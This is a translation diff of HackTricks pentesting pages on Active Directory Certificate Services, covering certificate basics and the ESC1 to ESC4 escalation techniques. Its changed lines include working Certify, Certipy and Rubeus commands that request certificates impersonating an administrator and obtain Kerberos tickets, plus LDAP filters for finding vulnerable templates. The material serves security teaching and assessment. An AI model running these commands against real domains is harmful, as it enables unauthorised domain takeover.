Translated ['', 'src/windows-hardening/active-directory-methodology/ad-c

src/windows-hardening/active-directory-methodology/ad-certificates/README.md

@@ -1,4 +1,4 @@
-# AD Certificates
+# Certificados AD
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -6,107 +6,117 @@
 
 ### Componentes de un Certificado
 
-- El **Sujeto** del certificado denota su propietario.
-- Una **Clave Pública** se empareja con una clave privada para vincular el certificado a su legítimo propietario.
-- El **Período de Validez**, definido por las fechas **NotBefore** y **NotAfter**, marca la duración efectiva del certificado.
-- Un **Número de Serie** único, proporcionado por la Autoridad de Certificación (CA), identifica cada certificado.
-- El **Emisor** se refiere a la CA que ha emitido el certificado.
+- El **Subject** del certificado indica su propietario.
+- Una **Public Key** está emparejada con una clave privada para vincular el certificado con su propietario legítimo.
+- El **Validity Period**, definido por las fechas **NotBefore** y **NotAfter**, marca la duración efectiva del certificado.
+- Un **Serial Number** único, proporcionado por la Autoridad de Certificación (CA), identifica cada certificado.
+- El **Issuer** se refiere a la CA que ha emitido el certificado.
 - **SubjectAlternativeName** permite nombres adicionales para el sujeto, mejorando la flexibilidad de identificación.
-- **Restricciones Básicas** identifican si el certificado es para una CA o una entidad final y definen restricciones de uso.
-- **Usos de Clave Extendidos (EKUs)** delinean los propósitos específicos del certificado, como la firma de código o la encriptación de correos electrónicos, a través de Identificadores de Objetos (OIDs).
-- El **Algoritmo de Firma** especifica el método para firmar el certificado.
-- La **Firma**, creada con la clave privada del emisor, garantiza la autenticidad del certificado.
+- **Basic Constraints** identifican si el certificado es para una CA o una entidad final y definen restricciones de uso.
+- **Extended Key Usages (EKUs)** delimitan los propósitos específicos del certificado, como code signing o email encryption, mediante Object Identifiers (OIDs).
+- El **Signature Algorithm** especifica el método para firmar el certificado.
+- La **Signature**, creada con la clave privada del emisor, garantiza la autenticidad del certificado.
 
 ### Consideraciones Especiales
 
-- **Nombres Alternativos del Sujeto (SANs)** amplían la aplicabilidad de un certificado a múltiples identidades, crucial para servidores con múltiples dominios. Los procesos de emisión seguros son vitales para evitar riesgos de suplantación por parte de atacantes que manipulan la especificación SAN.
+- **Subject Alternative Names (SANs)** amplían la aplicabilidad de un certificado a múltiples identidades, crucial para servidores con múltiples dominios. Procesos de emisión seguros son vitales para evitar riesgos de suplantación por parte de atacantes que manipulen la especificación SAN.
 
 ### Autoridades de Certificación (CAs) en Active Directory (AD)
 
-AD CS reconoce los certificados de CA en un bosque de AD a través de contenedores designados, cada uno con roles únicos:
+AD CS reconoce certificados de CA en un bosque de Active Directory mediante contenedores designados, cada uno con roles únicos:
 
-- El contenedor de **Autoridades de Certificación** contiene certificados de CA raíz de confianza.
-- El contenedor de **Servicios de Inscripción** detalla las CAs empresariales y sus plantillas de certificados.
-- El objeto **NTAuthCertificates** incluye certificados de CA autorizados para la autenticación de AD.
-- El contenedor de **AIA (Acceso a Información de Autoridad)** facilita la validación de la cadena de certificados con certificados de CA intermedios y cruzados.
+- **Certification Authorities** container contiene certificados de CA raíz de confianza.
+- **Enrolment Services** container detalla Enterprise CAs y sus certificate templates.
+- **NTAuthCertificates** object incluye certificados de CA autorizados para autenticación en AD.
+- **AIA (Authority Information Access)** container facilita la validación de la cadena de certificados con certificados intermedios y cross CA.
 
 ### Adquisición de Certificados: Flujo de Solicitud de Certificado del Cliente
 
-1. El proceso de solicitud comienza con los clientes encontrando una CA empresarial.
-2. Se crea un CSR, que contiene una clave pública y otros detalles, después de generar un par de claves pública-privada.
-3. La CA evalúa el CSR contra las plantillas de certificados disponibles, emitiendo el certificado basado en los permisos de la plantilla.
-4. Tras la aprobación, la CA firma el certificado con su clave privada y se lo devuelve al cliente.
+1. El proceso de solicitud comienza con que los clientes encuentren una Enterprise CA.
+2. Se crea un CSR que contiene una clave pública y otros detalles, después de generar un par de claves pública-privada.
+3. La CA evalúa el CSR contra los certificate templates disponibles, emitiendo el certificado según los permisos de la plantilla.
+4. Tras la aprobación, la CA firma el certificado con su clave privada y lo devuelve al cliente.
 
-### Plantillas de Certificados
+### Certificate Templates
 
-Definidas dentro de AD, estas plantillas describen la configuración y permisos para emitir certificados, incluyendo EKUs permitidos y derechos de inscripción o modificación, críticos para gestionar el acceso a los servicios de certificados.
+Definidas dentro de AD, estas plantillas delinean la configuración y permisos para emitir certificados, incluidos los EKUs permitidos y los derechos de enrollment o modificación, críticos para gestionar el acceso a los servicios de certificado.
 
-## Inscripción de Certificados
+## Certificate Enrollment
 
-El proceso de inscripción para certificados es iniciado por un administrador que **crea una plantilla de certificado**, que luego es **publicada** por una Autoridad de Certificación Empresarial (CA). Esto hace que la plantilla esté disponible para la inscripción del cliente, un paso logrado al agregar el nombre de la plantilla al campo `certificatetemplates` de un objeto de Active Directory.
+El proceso de enrollment para certificados es iniciado por un administrador que **crea un certificate template**, y luego es **publicado** por una Enterprise Certificate Authority (CA). Esto hace la plantilla disponible para el enrollment de clientes, un paso logrado añadiendo el nombre de la plantilla al campo `certificatetemplates` de un objeto de Active Directory.
 
-Para que un cliente solicite un certificado, deben otorgarse **derechos de inscripción**. Estos derechos están definidos por descriptores de seguridad en la plantilla de certificado y en la CA empresarial misma. Los permisos deben otorgarse en ambas ubicaciones para que una solicitud sea exitosa.
+Para que un cliente solicite un certificado, deben concederse **enrollment rights**. Estos derechos están definidos por los security descriptors en el certificate template y en la propia Enterprise CA. Los permisos deben concederse en ambas ubicaciones para que una solicitud sea exitosa.
 
-### Derechos de Inscripción de Plantilla
+### Template Enrollment Rights
 
-Estos derechos se especifican a través de Entradas de Control de Acceso (ACEs), detallando permisos como:
+Estos derechos se especifican mediante Access Control Entries (ACEs), detallando permisos como:
 
-- Derechos de **Inscripción de Certificado** y **Autoinscripción de Certificado**, cada uno asociado con GUIDs específicos.
-- **Derechos Extendidos**, que permiten todos los permisos extendidos.
-- **ControlTotal/GenericAll**, proporcionando control completo sobre la plantilla.
+- **Certificate-Enrollment** y **Certificate-AutoEnrollment**, cada uno asociado con GUIDs específicos.
+- **ExtendedRights**, permitiendo todos los permisos extendidos.
+- **FullControl/GenericAll**, proporcionando control completo sobre la plantilla.
 
-### Derechos de Inscripción de CA Empresarial
+### Enterprise CA Enrollment Rights
 
-Los derechos de la CA están delineados en su descriptor de seguridad, accesible a través de la consola de gestión de la Autoridad de Certificación. Algunas configuraciones incluso permiten a usuarios con bajos privilegios acceso remoto, lo que podría ser una preocupación de seguridad.
+Los derechos de la CA se describen en su security descriptor, accesible vía la consola de administración de la Certificate Authority. Algunas configuraciones incluso permiten que usuarios con pocos privilegios accedan de forma remota, lo cual podría ser un problema de seguridad.
 
 ### Controles Adicionales de Emisión
 
-Ciertos controles pueden aplicarse, como:
+Pueden aplicarse ciertos controles, como:
 
-- **Aprobación del Gerente**: Coloca las solicitudes en un estado pendiente hasta que sean aprobadas por un gerente de certificados.
-- **Agentes de Inscripción y Firmas Autorizadas**: Especifican el número de firmas requeridas en un CSR y los OIDs de Política de Aplicación necesarios.
+- **Manager Approval**: Coloca las solicitudes en estado pendiente hasta que sean aprobadas por un certificate manager.
+- **Enrolment Agents and Authorized Signatures**: Especifican el número de firmas requeridas en un CSR y los Application Policy OIDs necesarios.
 
 ### Métodos para Solicitar Certificados
 
-Los certificados se pueden solicitar a través de:
+Los certificados pueden solicitarse a través de:
 
-1. **Protocolo de Inscripción de Certificados de Cliente de Windows** (MS-WCCE), utilizando interfaces DCOM.
-2. **Protocolo Remoto ICertPassage** (MS-ICPR), a través de tuberías nombradas o TCP/IP.
-3. La **interfaz web de inscripción de certificados**, con el rol de Inscripción Web de la Autoridad de Certificación instalado.
-4. El **Servicio de Inscripción de Certificados** (CES), en conjunto con el servicio de Política de Inscripción de Certificados (CEP).
-5. El **Servicio de Inscripción de Dispositivos de Red** (NDES) para dispositivos de red, utilizando el Protocolo Simple de Inscripción de Certificados (SCEP).
+1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), usando interfaces DCOM.
+2. **ICertPassage Remote Protocol** (MS-ICPR), a través de named pipes o TCP/IP.
+3. La interfaz web de certificate enrollment, con el rol Certificate Authority Web Enrollment instalado.
+4. El **Certificate Enrollment Service** (CES), junto con el servicio **Certificate Enrollment Policy** (CEP).
+5. El **Network Device Enrollment Service** (NDES) para dispositivos de red, usando el Simple Certificate Enrollment Protocol (SCEP).
 
-Los usuarios de Windows también pueden solicitar certificados a través de la GUI (`certmgr.msc` o `certlm.msc`) o herramientas de línea de comandos (`certreq.exe` o el comando `Get-Certificate` de PowerShell).
+Los usuarios de Windows también pueden solicitar certificados vía la GUI (`certmgr.msc` o `certlm.msc`) o herramientas de línea de comandos (`certreq.exe` o el comando `Get-Certificate` de PowerShell).
 ```bash
 # Example of requesting a certificate using PowerShell
 Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
 ```
-## Autenticación de Certificados
+## Autenticación de certificados
 
-Active Directory (AD) admite la autenticación de certificados, utilizando principalmente los protocolos **Kerberos** y **Secure Channel (Schannel)**.
+Active Directory (AD) admite la autenticación mediante certificados, utilizando principalmente los protocolos **Kerberos** y **Secure Channel (Schannel)**.
 
-### Proceso de Autenticación de Kerberos
+### Proceso de autenticación Kerberos
 
-En el proceso de autenticación de Kerberos, la solicitud de un usuario para un Ticket Granting Ticket (TGT) se firma utilizando la **clave privada** del certificado del usuario. Esta solicitud pasa por varias validaciones por parte del controlador de dominio, incluyendo la **validez**, **ruta** y **estado de revocación** del certificado. Las validaciones también incluyen verificar que el certificado provenga de una fuente confiable y confirmar la presencia del emisor en el **almacén de certificados NTAUTH**. Las validaciones exitosas resultan en la emisión de un TGT. El objeto **`NTAuthCertificates`** en AD, se encuentra en:
+En el proceso de autenticación Kerberos, la solicitud de un usuario para un Ticket Granting Ticket (TGT) se firma usando la **clave privada** del certificado del usuario. Dicha solicitud pasa por varias validaciones por parte del controlador de dominio, incluyendo la **validez**, la **ruta** y el **estado de revocación** del certificado. Las validaciones también incluyen verificar que el certificado proviene de una fuente de confianza y confirmar la presencia del emisor en el **NTAUTH certificate store**. Las validaciones exitosas resultan en la emisión de un TGT. El objeto **`NTAuthCertificates`** en AD, ubicado en:
 ```bash
 CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
 ```
-es central para establecer confianza en la autenticación de certificados.
+es fundamental para establecer la confianza en la autenticación mediante certificados.
 
-### Autenticación de Canal Seguro (Schannel)
+### Secure Channel (Schannel) Authentication
 
-Schannel facilita conexiones seguras TLS/SSL, donde durante un apretón de manos, el cliente presenta un certificado que, si se valida con éxito, autoriza el acceso. La asignación de un certificado a una cuenta de AD puede involucrar la función **S4U2Self** de Kerberos o el **Nombre Alternativo del Sujeto (SAN)** del certificado, entre otros métodos.
+Schannel facilita conexiones TLS/SSL seguras, donde durante el handshake, el cliente presenta un certificado que, si se valida correctamente, autoriza el acceso. El mapeo de un certificado a una cuenta de AD puede implicar la función de Kerberos **S4U2Self** o el **Subject Alternative Name (SAN)** del certificado, entre otros métodos.
 
-### Enumeración de Servicios de Certificados de AD
+### AD Certificate Services Enumeration
 
-Los servicios de certificados de AD se pueden enumerar a través de consultas LDAP, revelando información sobre **Autoridades de Certificación (CAs) Empresariales** y sus configuraciones. Esto es accesible para cualquier usuario autenticado en el dominio sin privilegios especiales. Herramientas como **[Certify](https://github.com/GhostPack/Certify)** y **[Certipy](https://github.com/ly4k/Certipy)** se utilizan para la enumeración y evaluación de vulnerabilidades en entornos de AD CS.
+Los servicios de certificados de AD pueden enumerarse mediante consultas LDAP, revelando información sobre las **Enterprise Certificate Authorities (CAs)** y sus configuraciones. Esto es accesible por cualquier usuario autenticado en el dominio sin privilegios especiales. Herramientas como **[Certify](https://github.com/GhostPack/Certify)** y **[Certipy](https://github.com/ly4k/Certipy)** se usan para la enumeración y la evaluación de vulnerabilidades en entornos AD CS.
 
 Los comandos para usar estas herramientas incluyen:
 ```bash
-# Enumerate trusted root CA certificates and Enterprise CAs with Certify
-Certify.exe cas
-# Identify vulnerable certificate templates with Certify
-Certify.exe find /vulnerable
+# Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints
+# Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks
+Certify.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/hideAdmins] [/showAllPermissions] [/skipWebServiceChecks]
+
+# Identify vulnerable certificate templates and filter for common abuse cases
+Certify.exe find
+Certify.exe find /vulnerable [/currentuser]
+Certify.exe find /enrolleeSuppliesSubject   # ESC1 candidates (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
+Certify.exe find /clientauth                # templates with client-auth EKU
+Certify.exe find /showAllPermissions        # include template ACLs in output
+Certify.exe find /json /outfile:C:\Temp\adcs.json
+
+# Enumerate PKI object ACLs (Enterprise PKI container, templates, OIDs) – useful for ESC4/ESC7 discovery
+Certify.exe pkiobjects [/domain:domain.local] [/showAdmins]
 
 # Use Certipy for enumeration and identifying vulnerable templates
 certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128
@@ -119,5 +129,7 @@ certutil -v -dstemplate
 
 - [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)
 - [https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html](https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html)
+- [GhostPack/Certify](https://github.com/GhostPack/Certify)
+- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md

@@ -1,8 +1,9 @@
-# AD CS Domain Escalation
+# Escalada de Dominio en AD CS
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-**Este es un resumen de las secciones de técnicas de escalación de las publicaciones:**
+
+**Este es un resumen de las secciones de técnicas de escalada de los posts:**
 
 - [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
 - [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
@@ -12,23 +13,23 @@
 
 ### Explicación
 
-### Plantillas de Certificado Mal Configuradas - ESC1 Explicado
+### Plantillas de Certificado Mal Configuradas - ESC1 Explicadas
 
-- **Los derechos de inscripción son otorgados a usuarios de bajo privilegio por la CA Empresarial.**
+- **Los derechos de inscripción son otorgados a usuarios con pocos privilegios por la Enterprise CA.**
 - **No se requiere aprobación del gerente.**
 - **No se necesitan firmas de personal autorizado.**
-- **Los descriptores de seguridad en las plantillas de certificado son excesivamente permisivos, permitiendo a usuarios de bajo privilegio obtener derechos de inscripción.**
+- **Los descriptores de seguridad en las plantillas de certificado son excesivamente permisivos, lo que permite a usuarios con pocos privilegios obtener derechos de inscripción.**
 - **Las plantillas de certificado están configuradas para definir EKUs que facilitan la autenticación:**
-- Se incluyen identificadores de Uso Extendido de Clave (EKU) como Autenticación de Cliente (OID 1.3.6.1.5.5.7.3.2), Autenticación de Cliente PKINIT (1.3.6.1.5.2.3.4), Inicio de Sesión con Tarjeta Inteligente (OID 1.3.6.1.4.1.311.20.2.2), Cualquier Propósito (OID 2.5.29.37.0), o sin EKU (SubCA).
-- **La plantilla permite a los solicitantes incluir un subjectAltName en la Solicitud de Firma de Certificado (CSR):**
-- Active Directory (AD) prioriza el subjectAltName (SAN) en un certificado para la verificación de identidad si está presente. Esto significa que al especificar el SAN en un CSR, se puede solicitar un certificado para suplantar a cualquier usuario (por ejemplo, un administrador de dominio). Si se puede especificar un SAN por el solicitante se indica en el objeto AD de la plantilla de certificado a través de la propiedad `mspki-certificate-name-flag`. Esta propiedad es una máscara de bits, y la presencia de la bandera `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permite la especificación del SAN por el solicitante.
+- Identificadores de Extended Key Usage (EKU) como Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), o sin EKU (SubCA) están incluidos.
+- **La posibilidad de que los solicitantes incluyan un subjectAltName en la Certificate Signing Request (CSR) está permitida por la plantilla:**
+- Active Directory (AD) prioriza el subjectAltName (SAN) en un certificado para la verificación de identidad si está presente. Esto significa que, al especificar el SAN en una CSR, se puede solicitar un certificado para suplantar a cualquier usuario (p. ej., un administrador de dominio). Si un solicitante puede especificar un SAN está indicado en el objeto de la plantilla de certificado en AD mediante la propiedad `mspki-certificate-name-flag`. Esta propiedad es una máscara de bits, y la presencia de la bandera `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permite que el solicitante especifique el SAN.
 
 > [!CAUTION]
-> La configuración descrita permite a usuarios de bajo privilegio solicitar certificados con cualquier SAN de su elección, habilitando la autenticación como cualquier principal de dominio a través de Kerberos o SChannel.
+> La configuración descrita permite a usuarios con pocos privilegios solicitar certificados con cualquier SAN que elijan, lo que posibilita la autenticación como cualquier principal del dominio mediante Kerberos o SChannel.
 
-Esta característica a veces se habilita para soportar la generación en tiempo real de certificados HTTPS o de host por productos o servicios de implementación, o debido a una falta de comprensión.
+Esta funcionalidad a veces se habilita para permitir la generación sobre la marcha de certificados HTTPS o de host por productos o servicios de despliegue, o por falta de comprensión.
 
-Se señala que crear un certificado con esta opción activa un aviso, lo cual no ocurre cuando se duplica una plantilla de certificado existente (como la plantilla `WebServer`, que tiene `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitada) y luego se modifica para incluir un OID de autenticación.
+Se observa que crear un certificado con esta opción genera una advertencia, lo cual no ocurre cuando se duplica una plantilla de certificado existente (como la plantilla `WebServer`, que tiene `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitada) y luego se modifica para incluir un OID de autenticación.
 
 ### Abuso
 
@@ -37,69 +38,80 @@ Para **encontrar plantillas de certificado vulnerables** puedes ejecutar:
 Certify.exe find /vulnerable
 certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
 ```
-Para **abusar de esta vulnerabilidad para hacerse pasar por un administrador** se podría ejecutar:
+Para **abusar de esta vulnerabilidad para suplantar a un administrador** se podría ejecutar:
 ```bash
-Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
-certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
+# Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
+Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local
+
+# Optionally pin the target's SID into the request (post-2022 SID mapping aware)
+Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator /sid:S-1-5-21-1111111111-2222222222-3333333333-500
+
+# Some CAs accept an otherName/URL SAN attribute carrying the SID value as well
+Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator \
+/url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-1111111111-2222222222-3333333333-500
+
+# Certipy equivalent
+certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
+-template 'ESC1' -upn 'administrator@corp.local'
 ```
-Luego puedes transformar el **certificado generado a formato `.pfx`** y usarlo para **autenticarte usando Rubeus o certipy** nuevamente:
+Entonces puedes convertir el **certificado generado al formato `.pfx`** y usarlo para **autenticarse usando Rubeus o certipy** nuevamente:
 ```bash
 Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
 certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
 ```
-Los binarios de Windows "Certreq.exe" y "Certutil.exe" se pueden utilizar para generar el PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
+Los binarios de Windows "Certreq.exe" y "Certutil.exe" pueden usarse para generar el PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
 
-La enumeración de plantillas de certificados dentro del esquema de configuración del bosque de AD, específicamente aquellas que no requieren aprobación o firmas, que poseen un EKU de Autenticación de Cliente o Inicio de Sesión con Tarjeta Inteligente, y con la bandera `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitada, se puede realizar ejecutando la siguiente consulta LDAP:
+La enumeración de plantillas de certificados dentro del esquema de configuración del bosque de AD, específicamente aquellas que no requieren aprobación ni firmas, que poseen un EKU Client Authentication o Smart Card Logon, y con la bandera `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitada, puede realizarse ejecutando la siguiente consulta LDAP:
 ```
 (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
 ```
-## Plantillas de Certificado Mal Configuradas - ESC2
+## Misconfigured Certificate Templates - ESC2
 
-### Explicación
+### Explanation
 
 El segundo escenario de abuso es una variación del primero:
 
-1. Se otorgan derechos de inscripción a usuarios de bajo privilegio por la CA Empresarial.
-2. Se desactiva el requisito de aprobación del gerente.
-3. Se omite la necesidad de firmas autorizadas.
-4. Un descriptor de seguridad excesivamente permisivo en la plantilla de certificado otorga derechos de inscripción de certificado a usuarios de bajo privilegio.
-5. **La plantilla de certificado está definida para incluir el EKU de Cualquier Propósito o ningún EKU.**
+1. Enrollment rights son concedidos a usuarios con pocos privilegios por la Enterprise CA.
+2. El requisito de aprobación del manager está deshabilitado.
+3. La necesidad de firmas autorizadas se omite.
+4. Un security descriptor demasiado permisivo en la plantilla de certificado concede derechos de enrollment de certificados a usuarios con pocos privilegios.
+5. **La plantilla de certificado está definida para incluir el Any Purpose EKU o ningún EKU.**
 
-El **EKU de Cualquier Propósito** permite que un atacante obtenga un certificado para **cualquier propósito**, incluyendo autenticación de cliente, autenticación de servidor, firma de código, etc. La misma **técnica utilizada para ESC3** se puede emplear para explotar este escenario.
+El **Any Purpose EKU** permite que un atacante obtenga un certificado para **cualquier propósito**, incluyendo client authentication, server authentication, code signing, etc. La misma **technique used for ESC3** puede emplearse para explotar este escenario.
 
-Los certificados con **sin EKUs**, que actúan como certificados de CA subordinada, pueden ser explotados para **cualquier propósito** y **también pueden ser utilizados para firmar nuevos certificados**. Por lo tanto, un atacante podría especificar EKUs o campos arbitrarios en los nuevos certificados utilizando un certificado de CA subordinada.
+Los certificados con **no EKUs**, que actúan como certificados de CA subordinada, pueden ser explotados para **cualquier propósito** y **también pueden usarse para firmar nuevos certificados**. Por lo tanto, un atacante podría especificar EKUs arbitrarios o campos en los nuevos certificados utilizando un certificado de CA subordinada.
 
-Sin embargo, los nuevos certificados creados para **autenticación de dominio** no funcionarán si la CA subordinada no es confiable por el objeto **`NTAuthCertificates`**, que es la configuración predeterminada. No obstante, un atacante aún puede crear **nuevos certificados con cualquier EKU** y valores de certificado arbitrarios. Estos podrían ser potencialmente **abusados** para una amplia gama de propósitos (por ejemplo, firma de código, autenticación de servidor, etc.) y podrían tener implicaciones significativas para otras aplicaciones en la red como SAML, AD FS o IPSec.
+Sin embargo, los nuevos certificados creados para **domain authentication** no funcionarán si la CA subordinada no es confiable por el objeto **`NTAuthCertificates`**, que es la configuración por defecto. No obstante, un atacante aún puede crear **nuevos certificados con cualquier EKU** y valores de certificado arbitrarios. Estos podrían ser potencialmente **abusados** para una amplia gama de propósitos (p. ej., code signing, server authentication, etc.) y podrían tener implicaciones significativas para otras aplicaciones en la red como SAML, AD FS o IPSec.
 
-Para enumerar las plantillas que coinciden con este escenario dentro del esquema de configuración del Bosque AD, se puede ejecutar la siguiente consulta LDAP:
+Para enumerar las plantillas que coinciden con este escenario dentro del esquema de configuración del Forest de AD, se puede ejecutar la siguiente consulta LDAP:
 ```
 (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
 ```
-## Plantillas de Agente de Inscripción Mal Configuradas - ESC3
+## Misconfigured Enrolment Agent Templates - ESC3
 
 ### Explicación
 
-Este escenario es como el primero y el segundo, pero **abusando** de un **EKU** diferente (Agente de Solicitud de Certificado) y **2 plantillas diferentes** (por lo tanto, tiene 2 conjuntos de requisitos).
+Este escenario es similar al primero y al segundo pero **abusando** de un **EKU diferente** (Certificate Request Agent) y **2 plantillas distintas** (por lo tanto tiene 2 conjuntos de requisitos),
 
-El **EKU de Agente de Solicitud de Certificado** (OID 1.3.6.1.4.1.311.20.2.1), conocido como **Agente de Inscripción** en la documentación de Microsoft, permite a un principal **inscribirse** para un **certificado** en **nombre de otro usuario**.
+El **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), conocido como **Enrollment Agent** en la documentación de Microsoft, permite a un principal **solicitar** un **certificado** en **nombre de otro usuario**.
 
-El **“agente de inscripción”** se inscribe en tal **plantilla** y utiliza el **certificado resultante para co-firmar un CSR en nombre del otro usuario**. Luego **envía** el **CSR co-firmado** a la CA, inscribiéndose en una **plantilla** que **permite “inscribirse en nombre de”**, y la CA responde con un **certificado que pertenece al “otro” usuario**.
+El **“enrollment agent”** se inscribe en dicha **plantilla** y usa el **certificado resultante para co-firmar un CSR en nombre del otro usuario**. Luego **envía** el **CSR co-firmado** a la CA, inscribiéndose en una **plantilla** que **permite “enroll on behalf of”**, y la CA responde con un **certificado perteneciente al “otro” usuario**.
 
 **Requisitos 1:**
 
-- Se otorgan derechos de inscripción a usuarios de bajo privilegio por la CA Empresarial.
-- Se omite el requisito de aprobación del gerente.
+- La Enterprise CA concede derechos de enrollment a usuarios de bajo privilegio.
+- Se omite el requisito de aprobación del manager.
 - No hay requisito de firmas autorizadas.
-- El descriptor de seguridad de la plantilla de certificado es excesivamente permisivo, otorgando derechos de inscripción a usuarios de bajo privilegio.
-- La plantilla de certificado incluye el EKU de Agente de Solicitud de Certificado, permitiendo la solicitud de otras plantillas de certificado en nombre de otros principales.
+- El descriptor de seguridad de la plantilla de certificado es excesivamente permisivo, otorgando derechos de enrollment a usuarios de bajo privilegio.
+- La plantilla de certificado incluye el Certificate Request Agent EKU, habilitando la solicitud de otras plantillas de certificado en nombre de otros principales.
 
 **Requisitos 2:**
 
-- La CA Empresarial otorga derechos de inscripción a usuarios de bajo privilegio.
-- Se elude la aprobación del gerente.
-- La versión del esquema de la plantilla es 1 o supera 2, y especifica un Requisito de Política de Aplicación que requiere el EKU de Agente de Solicitud de Certificado.
+- La Enterprise CA concede derechos de enrollment a usuarios de bajo privilegio.
+- Se elude la aprobación del manager.
+- La versión del esquema de la plantilla es 1 o superior a 2, y especifica un Application Policy Issuance Requirement que requiere el Certificate Request Agent EKU.
 - Un EKU definido en la plantilla de certificado permite la autenticación de dominio.
-- No se aplican restricciones para agentes de inscripción en la CA.
+- No se aplican restricciones para enrollment agents en la CA.
 
 ### Abuso
 
@@ -117,39 +129,44 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
 # Use Rubeus with the certificate to authenticate as the other user
 Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
 ```
-Los **usuarios** que están autorizados a **obtener** un **certificado de agente de inscripción**, las plantillas en las que se permite a los **agentes** de inscripción inscribirse, y las **cuentas** en nombre de las cuales el agente de inscripción puede actuar pueden ser restringidos por las CAs empresariales. Esto se logra abriendo el `certsrc.msc` **complemento**, **haciendo clic derecho en la CA**, **haciendo clic en Propiedades**, y luego **navegando** a la pestaña “Agentes de Inscripción”.
+Los **usuarios** a los que se les permite **obtener** un **enrollment agent certificate**, las plantillas en las que los **enrollment agents** están autorizados a inscribirse, y las **cuentas** en nombre de las cuales el enrollment agent puede actuar pueden ser restringidos por las CAs empresariales. Esto se consigue abriendo el complemento `certsrc.msc`, **haciendo clic derecho en la CA**, **haciendo clic en Properties**, y luego **navegando** a la pestaña “Enrollment Agents”.
 
-Sin embargo, se observa que la configuración **predeterminada** para las CAs es “**No restringir agentes de inscripción**.” Cuando la restricción sobre los agentes de inscripción es habilitada por los administradores, configurándola a “Restringir agentes de inscripción,” la configuración predeterminada sigue siendo extremadamente permisiva. Permite el acceso a **Todos** para inscribirse en todas las plantillas como cualquier persona.
+Sin embargo, se observa que la configuración **por defecto** de las CAs es “**Do not restrict enrollment agents**.” Cuando los administradores habilitan la restricción para los enrollment agents, ajustándola a “Restrict enrollment agents”, la configuración por defecto sigue siendo extremadamente permisiva. Permite que **Everyone** tenga acceso para inscribirse en todas las plantillas como cualquier usuario.
 
-## Control de Acceso a Plantillas de Certificado Vulnerables - ESC4
+## Vulnerable Certificate Template Access Control - ESC4
 
-### **Explicación**
+### **Explanation**
 
-El **descriptor de seguridad** en las **plantillas de certificado** define los **permisos** específicos que los **principales de AD** poseen con respecto a la plantilla.
+El **descriptor de seguridad** en las **plantillas de certificados** define los **permisos** que los **principales de AD** específicos poseen con respecto a la plantilla.
 
